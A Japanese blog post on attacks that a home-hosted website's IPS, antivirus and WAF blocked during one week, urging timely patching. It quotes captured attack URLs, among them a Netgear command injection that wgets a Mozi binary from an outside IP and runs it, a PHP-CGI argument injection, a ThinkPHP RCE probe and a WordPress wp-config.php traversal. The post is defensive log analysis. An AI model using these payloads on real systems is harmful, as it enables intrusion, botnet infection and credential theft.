    • IPSとは: 不正な通信を検知、ブロックする機能。主にOS、機器などの脆弱性を狙った攻撃
    • アンチウイルスとは:パケットに含まれるウイルスを検知、ブロックする機能
    • WAFとは:Webアプリケーションレベルの攻撃を検知、ブロックする機能
  • 期間は11月のある一週間

結論

自宅であろうが、AWSであろうが、レンタルサーバーであろうが、Webサイトをインターネットに公開すると攻撃を必ず受けます。Webサイトを公開する場合は、OS、ミドルウェア、アプリケーションなどの脆弱性には必ず気をつけましょう。また、公開したあともIPAなどが公開しているセキュリティ情報をチェックして、必要があればセキュリティアップデートをこまめに実施しましょう。
公開したあとアップデートもせず、Webサイト、サーバーを放置していれば、必ず脆弱性を利用した攻撃を受け脆弱性が存在すれば場合によっては内部に侵入され、システムを破壊、個人情報の流出などの被害を受けてしまうことになるでしょう

参考

脆弱性とは?その危険性と実例 – 有効な5つの対策

以下、FWが検知した攻撃

WAFが検知・ブロックした攻撃

検知したURL①

http://自宅IP/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://39.80.71.48:44394/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1

どうやらNetGear製品の脆弱性を狙う攻撃みたいです。送信元IPは中国です。

MiraiとGafgytの新たなIoT/Linuxボットネット攻撃キャンペーン

検知したURL②

https://自宅IP/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

phpunitの脆弱性の有無を確認している攻撃みたいです。送信元IPはロシアです。

CVE-2017-9841を悪用したスキャン通信の増加

検知したURL③

http://自宅IP/cgi-bin/php5?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-n (http://203.135.194.15/cgi-bin/php5?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+disable_functions%3D%22%22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp://input+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n)

CGI版PHPの脆弱性を狙うアクセスみたいです。送信元IPは中国です。

CGI版PHPへのApache Magica攻撃の観察

IPSが検知・ブロックした攻撃

検知したURL①

ThinkPHPという中国が作ったアプリケーションフレームワークの脆弱性を悪用した攻撃みたいです。

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21

ThinkPHP.Controller.Parameter.Remote.Code.Execution
ThinkPHPという中国のフレームワークの脆弱性が狙われて、中国の45000のサイトが攻撃を受け続けている

検知したURL②

/wp-admin/admin-ajax.php?action=duplicator_download&file=../wp-config.php (/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2Fwp-config.php)

WordPressのディレクトリトラバーサルの脆弱性を悪用しようとする攻撃のようです。送信元IPはフランスです。

【WordPress】wp-config.phpが改ざん!Duplicatorが原因か

WordPress.HTTP.Path.Traversal

アンチウイルスが検知・ブロックした攻撃

検知下URL①

http://自宅IP/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

wordpresの脆弱性を利用して、バックドア型トロイの木馬のファイルをアップロードしようとしている攻撃のようです。 今回はトロイの木馬ファイルを検知してアンチウイルスでブロックしているようでした。

PHP / Rst.CO!tr.bdr
WordPressのプラグインFile Managerの脆弱性を悪用した攻撃が確認。70万以上のサイトに影響か。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む